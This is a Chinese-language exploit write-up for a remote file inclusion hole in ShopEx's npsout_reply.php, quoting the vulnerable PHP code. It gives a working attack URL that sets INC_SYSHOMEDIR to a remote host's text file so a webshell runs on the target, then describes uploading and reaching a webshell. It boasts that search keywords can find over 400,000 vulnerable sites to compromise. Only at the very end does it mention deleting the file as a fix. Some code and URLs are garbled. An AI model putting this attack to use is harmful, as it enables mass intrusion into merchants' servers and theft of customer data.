漏洞原理: include_once($INC_SYSHOMEDIR."include/PayFunction.php"); //=========================== 把商家的相关信息返回去 ======================= //接收组件的加密 $OrderInfo = $_POST[OrderMessage]; //订单加密信息 $signMsg = $_POST[Digest]; //密匙 $m_id = $_POST[m_id]; //=========================== 开始加密 ==================================== //检查签名 $shopPayment = newclass("shopPayment"); $key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT"); $digest = md5($OrderInfo.$key); //var_dump($_POST); if ($digest == $signMsg) { //将 HEX 还原成字符 $OrderInfo = HexToStr($OrderInfo); //DES 解密 $recovered_message = des($key, $OrderInfo, 0, 1, null); //echo "DES Test Decrypted: " . $recovered_message; $orderArray = split([|],$recovered_message); $m_id = $orderArray[0]; $m_orderid = $orderArray[1]; $m_oamount = $orderArray[2]; $m_ocurrency = $orderArray[3]; $m_url = $orderArray[4]; // m_txcode = array[5]; $m_language = $orderArray[5]; $s_name = $orderArray[6]; $s_addr = $orderArray[7]; $s_postcode = $orderArray[8]; $s_tel = $orderArray[9]; $s_eml = $orderArray[10]; $r_name = $orderArray[11]; $r_addr = $orderArray[12]; $r_postcode = $orderArray[13]; $r_tel = $orderArray[14]; $r_eml = $orderArray[15]; $m_ocomment = $orderArray[16]; $modate = $orderArray[17]; $Status = $orderArray[18];
if ($Status == 2) { $Order = newclass("Order"); $Order->shopId = $INC_SHOPID; $Order->payid = $m_orderid; $arr_paytime = getUnixtime(); //支付时间 $Order->onlinePayed($arr_paytime[0], $arr_paytime[1]); $tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订 单号 $state = 2 ; $strinfo = $PROG_TAGS["ptag_1334"]; } else{ $state = 1 ; $strinfo = $PROG_TAGS["ptag_1335"]; } }else{ $state = 0 ; $strinfo = $PROG_TAGS["ptag_1336"]; } Header("Location: ./index.php?gOo=pay_reply.dwt&;orderid=".$tmp_ordern o."&;state=".$state."&;strinfo=".urlencode($strinfo)); ?> 假设在 根目录下有个 include 文件夹,里面有 PayFunction.php 文件(这 是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵) 我们用如下方法就可以利用之 简单的说远程攻击者可以利用漏洞以 WEB 进程权限执行任意 PHP 命令。 具体 情节是 npsout_reply.php 脚本对用户提交的 npsout_root_path 参数缺少过滤指 定远程服务器上的任意文件作为包含对象,可导致以 WEB 权限执行任意
PHP 代码 漏洞实战: 构造 URL: ? 注意: [sagi.net/php.txt?] 其实并没有在 所在的服务器上执行而是 在 "" 上执行的。 简单的说.通过 SHOPEX 系统, 我在中国的服务器上执行了美国服务器上的代 码。而这个代码的主人是美国服务器。却在中国的服务器上被执行。
所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这 么简单。 漏洞实验: 关键词: 产品目录 联系我们 关于我们 常见
问题 安全交易 购买流程
如何 付款 可以找到 40 多万个用此
系统的站.也就意味着 40 多万个站将被沦陷. 在目标站后面加上: /shop/npsout_reply.php?INC_SYSHOMEDIR=sagi.net/php.txt? 就出现了远程执行 php 大马的画面。
如:oicqshop/oicqshop/shop/npsout_reply.php?INC_SYSHOME DIR=sagi.net/php.txt? 然后上传 php 大马,就可以了。
访问:如:oicqshop/oicqshop/shop/bsthacker.php
至于解决
方案.官方未公布。 可以删除 shop 目录下的 npsout_reply.php 文件。
manyi-duo